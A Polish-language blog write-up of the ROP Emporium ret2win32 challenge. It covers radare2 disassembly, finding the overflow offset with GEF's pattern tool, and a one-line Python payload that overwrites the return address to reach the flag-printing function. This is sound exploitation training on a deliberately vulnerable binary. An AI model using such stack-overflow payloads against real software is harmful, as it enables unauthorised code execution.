foxtrot_charlie vs ROP Emporium akt I
0bd2f9b87f862629f04ba850c60bb890f9a80c7ca7e293503f298a93c08b6c54
0x00 - Wracamy po dłuższej przerwie⌗
Ostatni rok był dla mnie bardzo szczególny. Nie wchodząc nadmiernie w nudne tłumaczenia, chciałbym zdementować jakobym rzucił tego bloga. Po prostu brakło czasu, a skill sam się nie wyekspi. Co nie znaczy, że zostałem pr0 h4Xi0r3m. Do tego jeszcze długa droga, tym niemniej wracam na scenę (taką jednoosobową, jak ten blog!). Skoro nowy rok to i stary ja :D!
Tym nieco zrzędliwym wstępem rozpocząłem kolejny wpis po polskiej stronie bloga. Bardzo chciałbym pisać częśćiej. I mam wrażenie, że to się uda… Na razie przede mną jeden z ważniejszych CTFów w życiu - obrona pracy dyplomowej, więc jeśli FC zamilknie w lutym, to proszę nie wysyłać CSAR ani MEDEVAC. A co dziś w menu?
Osobiście uważam ROP za jedną z ciekawszych form eksploitacji. Lata frywolnego wywalania programów i wykonywania dowolnego kodu (Phrack - Smashing the Stack for Fun and Pofit) zostało ukrócone przez DEP/NX, W xor X, ASLR. Ktoś mądry stwierdził wtedy, że nie to nie, skoro nie mogę użyć własnego kodu, to sobie wykorzystam kod programu, skoro już tam jest
.
Zawsze aby lepiej zrozumieć zagadnienie, lubię sobie nad nim troszeczkę pogłówkować i spróbować rozwiązać jakiś problem, nazwijmy go inżynierski. Dlatego postanowiłem przećwiczyć cough programowanie zorientowane na powracanie cough (przepraszam, nie mogłem się oprzeć…), na zadankach CTFowych. Ale żeby daleko ich nie szukać, na warsztat wziąłem znane taski ze zbioru ROP Emporium.
W każdym kolejnym poście postaram się poruszyć jedno wyzwanie z ROP.
Na wstępie chciałbym zaznaczyć, że niniejszy artykuł to zbiór moich notatek z placu boju. Mogą się pojawić skróty myślowe oraz nie do końca śmieszny humor
0x01 ret2win32 - rozpoznanie⌗
Pierwszym zadaniem z serii ROP-E jest ret2win <spoiler_alert=off\>. Celem tego wyzwania będzie przekierowanie flow programu przez nadpisanie adresu powrotu.
Odpaliwszy najbardziej hakierską dystrybucję Linuxa we Wszechświecie (no dobra, drugą po Pentoo, ale nie miałem czasu na kompilację) możemy zaczynać! Na początek niewielki rekonesans. Niby to zadanie zostało dobrze opisane przez Autorów, niemniej w celu odkurzenia narzędzi przeprowadzę szybkie rozpoznanie. Warto pamiętać, że:
Godziny prób i błędów mogą zaoszczędzić 5 minut czytania dokumentacji
Dlatego weryfikacja obietnic złożonych przy linku z zadaniem może się przydać i pomoże utwierdzić się w przekonaniu o zrozumieniu założeń wyzwania.
[0x08048480]> i blksz 0x0 block 0x100 fd 3 file ret2win32 format elf iorw false mode r-x size 0x1e04 humansz 7.5K type EXEC (Executable file) arch x86 baddr 0x8048000 binsz 6442 bintype elf bits 32 canary false sanitiz false class ELF32 crypto false endian little havecode true intrp /lib/ld-linux.so.2 laddr 0x0 lang c linenum true lsyms true machine Intel 80386 maxopsz 16 minopsz 1 nx true os linux pcalign 0 pic false relocs true relro partial rpath NONE static false stripped false subsys linux va true
32 bitowy ELF, bez kanarków na stosie, NX włączony, binarka nieostripowana. Spójrzmy na funkcje…
root@kali:~/rop# r2 ret2win32 -- Experts agree, security holes suck, and we fixed some of them! [0x08048480]> aaaaaaa An r2 developer is coming to your place to manually analyze this program. Please wait for it --press any key--
Niestety czekałem ponad 4h i nikt nie przyszedł. Spróbuję w inny dzień. To by było na tyle, cześć!*
No dobra, głupio wrzucać post z teaserem rozwiązania zadania, po czym kończyć dlatego, że mi licencja na developerów radare2 wygasła. Poniższy listing pokazuje listę funkcji w rozważanej binarce.
[0x08048480]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Enable constraint types analysis for variables [0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_8048470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry.init0 0x0804857b 1 123 sym.main 0x080485f6 1 99 sym.pwnme 0x08048659 1 41 sym.ret2win 0x08048690 4 93 sym.__libc_csu_init 0x080486f0 1 2 sym.__libc_csu_fini 0x080486f4 1 20 sym._fini
Trzy funkcje, na które napewno warto spojrzeć:
0x0804857b 1 123 sym.main
0x080485f6 1 99 sym.pwnme
0x08048659 1 41 sym.ret2win
0x01 ret2win32 - szybka eksploitacja⌗
Ale zanim przejdziemy do dalszej części tego zadania, odpalmy binarkę:
root@kali:~/rop# ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
SIDENOTE: uruchomienie nastąpiło z roota, ale na VMce ze zaktualizowanym HyperVizorem więc mam nadzieję, że przeżyję ;)
Baner binarki nie kłamał. Rzeczywiście próbuje zmieścić trochę więcej danych niż faktyczna pojemność bufora (albo segfault rzucany jest z innego powodu gdy podamy input > 32 znaków, zaraz to sprawdzimy). Spójrzmy najpierw na funkcję main.
[0x08048480]> pdf @ sym.main ;-- main: ┌ (fcn) sym.main 123 │ int sym.main (int argc, char **argv, char **envp); │ ; var int local_4h @ ebp-0x4 │ ; arg int arg_4h @ esp+0x4 │ ; DATA XREF from entry0 (0x8048497) │ 0x0804857b 8d4c2404 lea ecx, [arg_4h] ; 4 │ 0x0804857f 83e4f0 and esp, 0xfffffff0 │ 0x08048582 ff71fc push dword [ecx - 4] │ 0x08048585 55 push ebp │ 0x08048586 89e5 mov ebp, esp │ 0x08048588 51 push ecx │ 0x08048589 83ec04 sub esp, 4 │ 0x0804858c a164a00408 mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0 ; [0x804a064:4]=0 │ 0x08048591 6a00 push 0 │ 0x08048593 6a02 push 2 ; 2 │ 0x08048595 6a00 push 0 │ 0x08048597 50 push eax │ 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) │ 0x0804859d 83c410 add esp, 0x10 │ 0x080485a0 a140a00408 mov eax, dword [obj.stderr] ; obj.stderr__GLIBC_2.0 ; [0x804a040:4]=0 │ 0x080485a5 6a00 push 0 │ 0x080485a7 6a02 push 2 ; 2 │ 0x080485a9 6a00 push 0 │ 0x080485ab 50 push eax │ 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) │ 0x080485b1 83c410 add esp, 0x10 │ 0x080485b4 83ec0c sub esp, 0xc │ 0x080485b7 6810870408 push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" │ 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s) │ 0x080485c1 83c410 add esp, 0x10 │ 0x080485c4 83ec0c sub esp, 0xc │ 0x080485c7 6828870408 push str.32bits ; 0x8048728 ; "32bits\n" │ 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s) │ 0x080485d1 83c410 add esp, 0x10 │ 0x080485d4 e81d000000 call sym.pwnme │ 0x080485d9 83ec0c sub esp, 0xc │ 0x080485dc 6830870408 push str.Exiting ; 0x8048730 ; "\nExiting" │ 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s) │ 0x080485e6 83c410 add esp, 0x10 │ 0x080485e9 b800000000 mov eax, 0 │ 0x080485ee 8b4dfc mov ecx, dword [local_4h] │ 0x080485f1 c9 leave │ 0x080485f2 8d61fc lea esp, [ecx - 4] └ 0x080485f5 c3 ret [0x08048480]>
Wywoływana z main()
, funkcja sym.pwnme
została przedstawiona na listingu poniżej. Jak można się domyślić, to jest nasza podatna funkcja. W celu rozwiązania zadania (i przeczytania zawartości pliku flag.txt) należy wykorzystać błędną sanityzację danych (a właściwie błędną obsługę ich długości) aby przekierować wykonanie kodu do funkcji sym.ret2win
[0x08048480]> pdf @ sym.pwnme ┌ (fcn) sym.pwnme 99 │ sym.pwnme (); │ ; var int local_28h @ ebp-0x28 │ ; CALL XREF from sym.main (0x80485d4) │ 0x080485f6 55 push ebp │ 0x080485f7 89e5 mov ebp, esp │ 0x080485f9 83ec28 sub esp, 0x28 ; '(' │ 0x080485fc 83ec04 sub esp, 4 │ 0x080485ff 6a20 push 0x20 ; 32 │ 0x08048601 6a00 push 0 │ 0x08048603 8d45d8 lea eax, [local_28h] │ 0x08048606 50 push eax │ 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) │ 0x0804860c 83c410 add esp, 0x10 │ 0x0804860f 83ec0c sub esp, 0xc │ 0x08048612 683c870408 push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" │ 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) │ 0x0804861c 83c410 add esp, 0x10 │ 0x0804861f 83ec0c sub esp, 0xc │ 0x08048622 68bc870408 push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" │ 0x08048627 e8f4fdffff call sym.imp.puts ; int puts(const char *s) │ 0x0804862c 83c410 add esp, 0x10 │ 0x0804862f 83ec0c sub esp, 0xc │ 0x08048632 6821880408 push 0x8048821 │ 0x08048637 e8c4fdffff call sym.imp.printf ; int printf(const char *format) │ 0x0804863c 83c410 add esp, 0x10 │ 0x0804863f a160a00408 mov eax, dword [obj.stdin] ; obj.stdin__GLIBC_2.0 ; [0x804a060:4]=0 │ 0x08048644 83ec04 sub esp, 4 │ 0x08048647 50 push eax │ 0x08048648 6a32 push 0x32 ; '2' ; 50 │ 0x0804864a 8d45d8 lea eax, [local_28h] │ 0x0804864d 50 push eax │ 0x0804864e e8bdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) │ 0x08048653 83c410 add esp, 0x10 │ 0x08048656 90 nop │ 0x08048657 c9 leave └ 0x08048658 c3 ret [0x08048480]>
Sama docelowa funkcja, którą należy wykonać jest bardzo prosta:
[0x08048480]> pdf @ sym.ret2win ┌ (fcn) sym.ret2win 41 │ sym.ret2win (); │ 0x08048659 55 push ebp │ 0x0804865a 89e5 mov ebp, esp │ 0x0804865c 83ec08 sub esp, 8 │ 0x0804865f 83ec0c sub esp, 0xc │ 0x08048662 6824880408 push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" │ 0x08048667 e894fdffff call sym.imp.printf ; int printf(const char *format) │ 0x0804866c 83c410 add esp, 0x10 │ 0x0804866f 83ec0c sub esp, 0xc │ 0x08048672 6841880408 push str.bin_cat_flag.txt ; 0x8048841 ; "/bin/cat flag.txt" │ 0x08048677 e8b4fdffff call sym.imp.system ; int system(const char *string) │ 0x0804867c 83c410 add esp, 0x10 │ 0x0804867f 90 nop │ 0x08048680 c9 leave └ 0x08048681 c3 ret [0x08048480]>
0x08048677
to adres wywołania funkcji system()
z argumentem "/bin/cat flag.txt"
(wrzucony na stack instrukcję wyżej). To musi być cel! (A niby wystarczyło pobrać zbiór zadań i dla każdego zipa wyświetlić flag.txt ;P )
No dobrze, więc jak do tego przystąpić? Zacznijmy od analizy sym.pwnme
i określenia liczby bajtów potrzebnych do nadpisania instruction pointera
. Do tego celu użyłem GDB wraz z rozszerzeniem GEF
. Korzystając z ciągu de Bruijna:
gef➤ pattern create 50 [+] Generating a pattern of 50 bytes aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama [+] Saved as '$_gef0' gef➤ r Starting program: /root/rop/ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama Program received signal SIGSEGV, Segmentation fault. 0x6161616c in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd300 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $ebx : 0x0 $ecx : 0xf7fa789c → 0x00000000 $edx : 0xffffd300 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam" $esp : 0xffffd330 → 0xf7fe006d → jge 0xf7fe0077 $ebp : 0x6161616b ("kaaa"?) $esi : 0xf7fa6000 → 0x001d9d6c $edi : 0xf7fa6000 → 0x001d9d6c $eip : 0x6161616c ("laaa"?) $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ────────────────────────────────────── stack ──── 0xffffd330│+0x0000: 0xf7fe006d → jge 0xf7fe0077 ← $esp 0xffffd334│+0x0004: 0xffffd350 → 0x00000001 0xffffd338│+0x0008: 0x00000000 0xffffd33c│+0x000c: 0xf7de6b41 → <__libc_start_main+241> add esp, 0x10 0xffffd340│+0x0010: 0xf7fa6000 → 0x001d9d6c 0xffffd344│+0x0014: 0xf7fa6000 → 0x001d9d6c 0xffffd348│+0x0018: 0x00000000 0xffffd34c│+0x001c: 0xf7de6b41 → <__libc_start_main+241> add esp, 0x10 ───────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ───────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "ret2win32", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────trace ──── gef➤ pattern search $eip [+] Searching '$eip' [+] Found at offset 44 (little-endian search) likely [+] Found at offset 41 (big-endian search) gef➤
Adresem funkcji, pod który trzeba powrócić po wykonaniu sym.pwnme
jest 0x08048659
. Czy to wystarczy? W tym przypadku powinno. Aby się o tym przekonać, zapiszmy cały bufor losowymi wartościami - długość tego ciągu powinna wynosić 44 bajty, a następnie nadpiszmy wartość powrotu adresem ret2win
. Oto efekt:
root@kali:~/rop# python -c "print 'A'*44 + '\x59\x86\x04\x08' " | ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
ROPE{a_placeholder_32byte_flag!}
Badum tss! Dobra, czas na coś trudniejszego…
Do zobaczenia w Internecie!
foxtrot_charlie